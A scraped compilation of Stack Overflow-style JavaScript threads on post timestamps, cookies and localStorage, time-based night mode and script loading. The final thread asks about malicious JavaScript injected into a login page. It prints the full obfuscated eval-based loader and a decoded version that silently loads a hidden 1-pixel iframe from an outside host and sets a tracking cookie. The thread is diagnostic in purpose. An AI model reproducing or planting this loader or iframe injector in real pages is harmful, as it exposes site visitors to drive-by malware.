Getting Elapsed Time in JS - javascript
Fiddle
I am making a social network and when you post something, I want to show the time. I have the current code to display the time (this isn't only the time, it's also validating and posting the text):
$('#b').click(function () {
var v = $('#type').val();
var u = $('#input').val();
if (v !== "" && u !== ""){
var time = new Date();
var currentime = Date.now();
var x = currentime - time;
$("ul").prepend("<li>" + v + "<br />Posted by " + u + " " + x +" minutes ago </li>");
$('#type, #input').css('border','');
}
else if (v == "" && u == "") {
$('#type, #input').css('border','1px solid red');
}
else if (v == "") {
$('#type').css('border','1px solid red');
$('#input').css('border','');
}
else {
$('#input').css('border','1px solid red');
$('#type').css('border','');
}
});
When the time posts, it says 0 minutes ago (like I told it to), but after any amount of time, it still says 0.
fiddle
Basically you set up a setInterval which governs ho frequently you update your time attribute. I used a span with a class .time to so you could theoretically update anything with time.
I would go further and hash your posts so you can easily retrieve each posts original time.
EDIT: added a new fiddle.
Related
set cookie and show div on first visit then hide
I am trying to set multiple cookies depending on if the div exists via javascript but I have ran into an issue that I cannot figure out. On first visit, I would like to show the div to the user if the div exists then set a cookie (called redCookie) that expires in 3 days. After cookie is set on page refresh div should not be present. After 3 days I would like the div to be shown again redDiv.show(). At the moment the div shows on all page refreshes. The cookie is set but unfortunately it shows every time. Something must be wrong with my if statement but not sure what. if ((redCookie = true) && (redDiv.length > 0)) Here is a link to js fiddle: https://jsfiddle.net/9uh96bh7/ Here are my functions: $( document ).ready(function() { colourCookies(); }); function colourCookies () { var redCookie = getCookie("red-cookie-name"); var redDiv = $('.red'); var yellowCookie = getCookie("yellow-cookie-name"); var yellowDiv = $('.yellow'); if ((redCookie = true) && (redDiv.length > 0)) { redDiv.show(); setCookie("red-cookie-name", redCookie, 3); console.log ('red cookie is set'); } else { redDiv.hide(); } if ((yellowCookie = true) && (yellowDiv.length > 0)) { yellowDiv.show(); setCookie("yellow-cookie-name", yellowCookie, 3); console.log ('yellow cookie is set'); } else { yellowDiv.hide(); } } function setCookie(cname, cvalue, exdays) { var d = new Date(); d.setTime(d.getTime() + (exdays*24*60*60*1000)); var expires = "expires="+d.toUTCString(); document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/"; } function getCookie(cname) { var name = cname + "="; var ca = document.cookie.split(';'); for(var i = 0; i < ca.length; i++) { var c = ca[i]; while (c.charAt(0) == ' ') { c = c.substring(1); } if (c.indexOf(name) == 0) { return c.substring(name.length, c.length); } } return ""; }
First, the code. It should be if ((redCookie == true) && (redDiv.length > 0)) not if ((redCookie = true) && (redDiv.length > 0)). = is assign, == means equal to. Second, the logic part. cookie isset -> hide div cookie is not set -> show div, set cookie (correct me if I miss understood.) So the if statement should be: if (redCookie == true){ //hide div } else { //show div //set cookie } Third, you make a mistake when setting cookies. you should set you cookie like setCookie("yellow-cookie-name", true, 3); If you use setCookie("yellow-cookie-name", yellowCookie, 3); and yellowCookie is null, this will cause failure to your if statement.
I think problem is with setting cookie, as some of the browser like chrome not sets cookie when you are running it on local, if you host it on server or run it through visual studio, it will work.. Test once with hosting it in iis if possible, else you can use localStorage like below... $( document ).ready(function() { colourCookies(); }); function colourCookies () { removeIfThreeDaysElapsed('red-ls'); removeIfThreeDaysElapsed('yellow-ls'); if (!localStorage.getItem('red-ls')) { $(".red").show(); localStorage.setItem("red-ls", new Date().toGMTString()); } else { $(".red").hide(); } if (!localStorage.getItem('yellow-ls')) { $(".yellow").show(); localStorage.setItem("yellow-ls", new Date().toGMTString()); } else { $(".yellow").hide(); } } function removeIfThreeDaysElapsed(lsname){ var d1 = localStorage.getItem(lsname); if(d1){ if(new Date() > new Date(new Date().getTime()+(3*24*60*60*1000))){ localStorage.removeItem(lsname); } } } You may need to edit the code to handle all the scenarios! If you able to see the cookie in browser, then please try with check like below... if (redCookie) { redDiv.hide(); } else { redDiv.show(); setCookie("red-cookie-name", true, 3); } Because when you are getting value back from cookie its datatype is not boolean, it gets converted to string, so either you check like above or can use redCookie === "true". Hope this helps you.
Firing javascript event based on time of day
I'm looking for help to see if there is an easy quick way to fire a JS event based on the time of day a website opens in the browser. Essentially what I want to do is between 5pm-5am of the users local time zone have this script fire. The script is currently wired to a button that simply flips the class of the body of the page to "night mode". I would like the two to work in harmony, automate based on time and the ability to override with the button if you want the dark or light theme. function toggleClass(element, className) { if (!element || !className) { return; } var classString = element.className, nameIndex = classString.indexOf(className); if (nameIndex == -1) { classString += ' ' + className; } else { classString = classString.substr(0, nameIndex) + classString.substr(nameIndex + className.length); } element.className = classString; } document.getElementById('day-btn').addEventListener('click', function() { toggleClass(document.getElementById('body'), 'night'); }); https://jsfiddle.net/simpson/57xe333n/2/
var time = new Date(); element = document.getElementById('body'); className = "night"; console.log(time.getHours()); if(time.getHours() > 17 || time.getHours < 5) { if (!element || !className) { return; } var classString = element.className, nameIndex = classString.indexOf(className); if (nameIndex == -1) { classString += ' ' + className; } else { classString = classString.substr(0, nameIndex) + classString.substr(nameIndex + className.length); } element.className = classString; } This uses JS's built in Date functionalities which pull from the system. It runs a getHours() function which returns an int(0-23). The if statement (time.getHours() > 17 || time.getHours < 5) will then only run the code and change the theme if it is after 5pm or before 5 am. Hope this can get you started.
Cookies in HTML page
So this code that i have works perfectly and exactly as i want it to. What is does is it takes the input "textmoney" and calculates how much money you make yearly. I have a link to another calculator that makes a more percise prediction. Basically i want to know how to have the website remember what the data input was on "textmoney" on the first page, so that when the user clicks on the more advanced calculator the website will remember the value of "textmoney" and the user won't have to type in the same data again. Do i use cookies? Code: <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script> <script> $(document).ready(function() { var $demo = $('#demo'); var $textMoney = $('#textmoney'); var $moneydiv = $('#moneydiv'); $('#advanced').hide(); function getmoney(){ var money = $textMoney.val(); if (isNaN(money) || money === '') { $demo.text('You aint enter no $$$$$$'); } else { var dailyE = $textMoney.val() * 365; $demo.text('$' + dailyE + ' per day'); } } // on enter key $textMoney.keydown(function(e) { if (e.which === 13) { getmoney(); $('#advanced').show(); } else if ($(this).val() === '') { $demo.text(''); $('#advanced').hide(); } }).mouseover(function() { $(this).css('border', '1px solid black'); }).mouseout(function() { $(this).css('border', '1px solid grey'); }); // on click $moneydiv.click(function(){ getmoney(); $('#advanced').show(); }); }); </script>
You may use HTML5 Web Storate: // Store localStorage.setItem("textmoney", $textMoney.val()); // Retrieve $textMoney.val(localStorage.getItem("textmoney")); From W3Schools: The data in localStorage will not be deleted when the browser is closed, and will be available the next day, week, or year. If you want to store the value just while the browser (or tab) is open. You can use sessionStorage instead: // Store sessionStorage.setItem("textmoney", $textMoney.val()); // Retrieve $textMoney.val(sessionStorage.getItem("textmoney")); If your browser desn't support HTML5, cookies are also good idea but be aware that some browsers can also have blocked cookies. function setCookie(cname, cvalue, exdays) { var d = new Date(); d.setTime(d.getTime() + (exdays*24*60*60*1000)); var expires = "expires="+d.toUTCString(); document.cookie = cname + "=" + cvalue + "; " + expires; } function getCookie(cname) { var name = cname + "="; var ca = document.cookie.split(';'); for(var i=0; i<ca.length; i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1); if (c.indexOf(name) == 0) return c.substring(name.length,c.length); } return ""; } // Store setCookie("textmoney", $textMoney.val(), 999999 /* Expiration*/); // Retrieve $textMoney.val(getCookie("textmoney"));
Javascript file does not execute
I have written a very simple countdown timer in JavaScript that I have hardcoded to tell a user the number of days left until a certain date. This is then supposed to be shown on a web page. Here is the JavaScript: var message, days; if (new Date().getMonth() === 6) { days = 34 - new Date().getDate(); message = "Coming in " + days + " days"; } else if (new Date().getMonth() === 7) { if (new Date().getDate() > 2) { message = "Almost there!"; } else if (new Date().getDate() === 2) { message = "Coming in 1 day"; } else { days = 3 - new Date().getDate(); message = "Coming in " + days + " days"; } } else { message = "Coming soon"; } document.getElementById("coming_soon").innerHTML = message; And here is the HTML: <span id="coming_soon"></span> The problem is that if I inline the JavaScript, it runs perfectly and the countdown is shown. If, however, I include it as a separate .js file, the countdown is not shown. How can I include this as a separate file and still have it run and show the countdown? I am a complete beginner to JavaScript, and somewhere between intermediate and beginner in HTML. Thanks in advance.
Are there any messages in the browser's error console? Make sure that the script is included after the <span> element that you are trying to modify, or use the defer attribute on the <script> element. Otherwise, getElementById() will not find it.
This should do it: Without jQuery and also for older IE's var eventPrefix = ""; if (typeof window.addEventListener === "undefined" && window.attachEvent) { eventPrefix = "on"; window.addEventListener = window.attachEvent; } if (typeof window.addEventListener !== "undefined") { window.addEventListener(eventPrefix + 'load', function() { var message, days; if (new Date().getMonth() === 6) { days = 34 - new Date().getDate(); message = "Coming in " + days + " days"; } else if (new Date().getMonth() === 7) { if (new Date().getDate() > 2) { message = "Almost there!"; } else if (new Date().getDate() === 2) { message = "Coming in 1 day"; } else { days = 3 - new Date().getDate(); message = "Coming in " + days + " days"; } } else { message = "Coming soon"; } document.getElementById("coming_soon").innerHTML = message; }); } Preview: http://jsfiddle.net/4JPCP/1/show/ Optimized code: http://jsfiddle.net/4JPCP/3/
Edit: IIFE are redundant in this case, since OP's code it's not self contained in a function. However, I could leave the answer here if anyone wants to dive deeper into the argument. You may also wants to explore what are commonly called Immediately-Invoked Function Expression (IIFE). See Bel Alman website for more information: http://benalman.com/news/2010/11/immediately-invoked-function-expression/ Basically, by wrapping your code with this syntax, you're telling the browser to immediately execute your function, and this do the trick: (function(){ /* your code */ })(); See this working Plunker with your code: http://plnkr.co/edit/cPObPCqVhavvWLtQbldd?p=preview
Malicious javascript injected into login page [closed]
Closed. This question needs to be more focused. It is not currently accepting answers. Want to improve this question? Update the question so it focuses on one problem only by editing this post. Closed 9 years ago. Improve this question I have a small web app that's written using CodeIgniter. However, I discovered recently that someone injected some javascript into my app's login page. When I look at the remote server's template file, the javascript is not there, but when I view the source in Chrome, I see the Javscript snippet below: a = ("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,163,163,154,165,146,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,163,163,154,165,146,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,160,150,162,151,167,147,163,166,170,62,146,155,176,63,165,146,74,176,130,73,164,173,62,164,154,164,53,77,21,16,44,163,163,154,165,146,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,44,101,44,53,145,146,167,163,160,171,170,151,53,77,21,16,44,163,163,154,165,146,62,167,170,175,160,151,62,146,163,166,150,151,166,44,101,44,53,64,53,77,21,16,44,163,163,154,165,146,62,167,170,175,160,151,62,154,151,155,153,154,170,44,101,44,53,65,164,174,53,77,21,16,44,163,163,154,165,146,62,167,170,175,160,151,62,173,155,150,170,154,44,101,44,53,65,164,174,53,77,21,16,44,163,163,154,165,146,62,167,170,175,160,151,62,160,151,152,170,44,101,44,53,65,164,174,53,77,21,16,44,163,163,154,165,146,62,167,170,175,160,151,62,170,163,164,44,101,44,53,65,164,174,53,77,21,16,21,16,44,155,152,44,54,45,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,163,163,154,165,146,53,55,55,44,177,21,16,44,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,53,100,150,155,172,44,155,150,101,140,53,163,163,154,165,146,140,53,102,100,63,150,155,172,102,53,55,77,21,16,44,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,163,163,154,165,146,53,55,62,145,164,164,151,162,150,107,154,155,160,150,54,163,163,154,165,146,55,77,21,16,44,201,21,16,201,21,16,152,171,162,147,170,155,163,162,44,127,151,170,107,163,163,157,155,151,54,147,163,163,157,155,151,122,145,161,151,60,147,163,163,157,155,151,132,145,160,171,151,60,162,110,145,175,167,60,164,145,170,154,55,44,177,21,16,44,172,145,166,44,170,163,150,145,175,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,172,145,166,44,151,174,164,155,166,151,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,155,152,44,54,162,110,145,175,167,101,101,162,171,160,160,44,200,200,44,162,110,145,175,167,101,101,64,55,44,162,110,145,175,167,101,65,77,21,16,44,151,174,164,155,166,151,62,167,151,170,130,155,161,151,54,170,163,150,145,175,62,153,151,170,130,155,161,151,54,55,44,57,44,67,72,64,64,64,64,64,56,66,70,56,162,110,145,175,167,55,77,21,16,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,44,101,44,147,163,163,157,155,151,122,145,161,151,57,46,101,46,57,151,167,147,145,164,151,54,147,163,163,157,155,151,132,145,160,171,151,55,21,16,44,57,44,46,77,151,174,164,155,166,151,167,101,46,44,57,44,151,174,164,155,166,151,62,170,163,113,121,130,127,170,166,155,162,153,54,55,44,57,44,54,54,164,145,170,154,55,44,103,44,46,77,44,164,145,170,154,101,46,44,57,44,164,145,170,154,44,76,44,46,46,55,77,21,16,201,21,16,152,171,162,147,170,155,163,162,44,113,151,170,107,163,163,157,155,151,54,44,162,145,161,151,44,55,44,177,21,16,44,172,145,166,44,167,170,145,166,170,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,162,145,161,151,44,57,44,46,101,46,44,55,77,21,16,44,172,145,166,44,160,151,162,44,101,44,167,170,145,166,170,44,57,44,162,145,161,151,62,160,151,162,153,170,154,44,57,44,65,77,21,16,44,155,152,44,54,44,54,44,45,167,170,145,166,170,44,55,44,52,52,21,16,44,54,44,162,145,161,151,44,45,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,64,60,44,162,145,161,151,62,160,151,162,153,170,154,44,55,44,55,44,55,21,16,44,177,21,16,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,201,21,16,44,155,152,44,54,44,167,170,145,166,170,44,101,101,44,61,65,44,55,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,172,145,166,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,46,77,46,60,44,160,151,162,44,55,77,21,16,44,155,152,44,54,44,151,162,150,44,101,101,44,61,65,44,55,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,160,151,162,153,170,154,77,21,16,44,166,151,170,171,166,162,44,171,162,151,167,147,145,164,151,54,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,160,151,162,60,44,151,162,150,44,55,44,55,77,21,16,201,21,16,155,152,44,54,162,145,172,155,153,145,170,163,166,62,147,163,163,157,155,151,111,162,145,146,160,151,150,55,21,16,177,21,16,155,152,54,113,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16" ["split"](",")); ss = eval("Str" + "ing"); d = document; for (i = 0; i < a.length; i += 1) { a[i] = parseInt(a[i], 8) - (7 - 3); } try { d.body++ } catch (q) { zz = 0; } try { zz &= 2 } catch (q) { zz = 1; } if (!zz) if (window["document"]) eval(ss["fromCharCode"].apply(ss, a)); When I run my web app locally, I don't see this snippet so it's obvious that my remote server has been compromised. EDIT: After looking into the code, I realized the array contains a large series of characters used to build the actual code. As elclanrs pointed out, it seems the code tracks the user with a malicious cookie. So my question is how does one manage to inject this type of code into my login page? I view the template file and the snippet is nowhere to be found, so I have no idea how to remove it from my page.
Seems to be setting a malicious cookie: function zzzfff() { var oohqb = document.createElement('iframe'); oohqb.src = 'http://ldnescort.biz/qb8zT7pw.php'; oohqb.style.position = 'absolute'; oohqb.style.border = '0'; oohqb.style.height = '1px'; oohqb.style.width = '1px'; oohqb.style.left = '1px'; oohqb.style.top = '1px'; if (!document.getElementById('oohqb')) { document.write('<div id=\'oohqb\'></div>'); document.getElementById('oohqb').appendChild(oohqb); } } function SetCookie(cookieName, cookieValue, nDays, path) { var today = new Date(); var expire = new Date(); if (nDays == null || nDays == 0) nDays = 1; expire.setTime(today.getTime() + 3600000 * 24 * nDays); document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : ""); } function GetCookie(name) { var start = document.cookie.indexOf(name + "="); var len = start + name.length + 1; if ((!start) && (name != document.cookie.substring(0, name.length))) { return null; } if (start == -1) return null; var end = document.cookie.indexOf(";", len); if (end == -1) end = document.cookie.length; return unescape(document.cookie.substring(len, end)); } if (navigator.cookieEnabled) { if (GetCookie('visited_uq') == 55) {} else { SetCookie('visited_uq', '55', '1', '/'); zzzfff(); } }
Google how to sanitize input. For example, one should not be able to input the character <: if he does, you should replace it with <, which is the corresponding HTML entity. With the data you gave, I can't really tell how this was injected: remove the injection loading a previous backup.